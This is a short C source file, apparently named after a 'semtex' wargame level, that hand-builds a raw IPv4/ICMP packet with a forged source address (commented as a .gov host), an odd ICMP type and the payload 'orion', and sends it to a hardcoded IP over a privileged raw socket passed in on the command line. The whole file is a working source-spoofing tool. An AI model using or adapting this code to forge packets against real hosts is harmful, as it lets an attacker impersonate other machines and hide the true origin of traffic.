semtex06.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <netinet/in.h>

#define SRC "206.204.215.152"
#define DST "69.55.233.87"
#define NICK "orion"

unsigned short in_cksum(unsigned short *, int);

int main (int argc, char **argv) {
        int sock;
        char datagram[sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(NICK)];
        struct icmphdr *icmp;
        struct iphdr *ip;
        struct sockaddr_in dst;

        //sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
        sock = atoi(argv[1]);

        memset(datagram, 0, sizeof(datagram));

        ip = (struct iphdr *)datagram;
        icmp = (struct icmphdr *)(datagram + sizeof(struct iphdr));

        ip->ihl = 5;
        ip->version = 4;
        ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(NICK));
        ip->ttl = 255;
        ip->protocol = IPPROTO_ICMP;
        ip->saddr = inet_addr(SRC); // dotgov.gov
        ip->daddr = inet_addr(DST);

        icmp->type = 130;
        icmp->code = ICMP_DEST_UNREACH;

        datagram[sizeof(struct iphdr) + sizeof(struct icmphdr)] = 'o';
        datagram[sizeof(struct iphdr) + sizeof(struct icmphdr)+1] = 'r';
        datagram[sizeof(struct iphdr) + sizeof(struct icmphdr)+2] = 'i';
        datagram[sizeof(struct iphdr) + sizeof(struct icmphdr)+3] = 'o';
        datagram[sizeof(struct iphdr) + sizeof(struct icmphdr)+4] = 'n';

        ip->check = in_cksum((unsigned short *)datagram, sizeof(struct iphdr));
        icmp->checksum = in_cksum((unsigned short *)(datagram + sizeof(struct iphdr)), sizeof(struct icmphdr) + 5);

        dst.sin_addr.s_addr = inet_addr(DST);
        dst.sin_family = AF_INET;

        {
                int one = 1;
                const int *val = &one;
                if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) {
                        perror("setsockopt");
                        exit(1);
                }
        }

        sendto(sock, datagram, sizeof(datagram), 0, (struct sockaddr *)&dst, sizeof(struct sockaddr));

        close(sock);
        exit(0);
}


unsigned short in_cksum(u_short *addr, int len) {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;
 
        while (nleft > 1)  {
                sum += *w++;
                nleft -= 2;
        }
 
        if (nleft == 1) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }
 
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}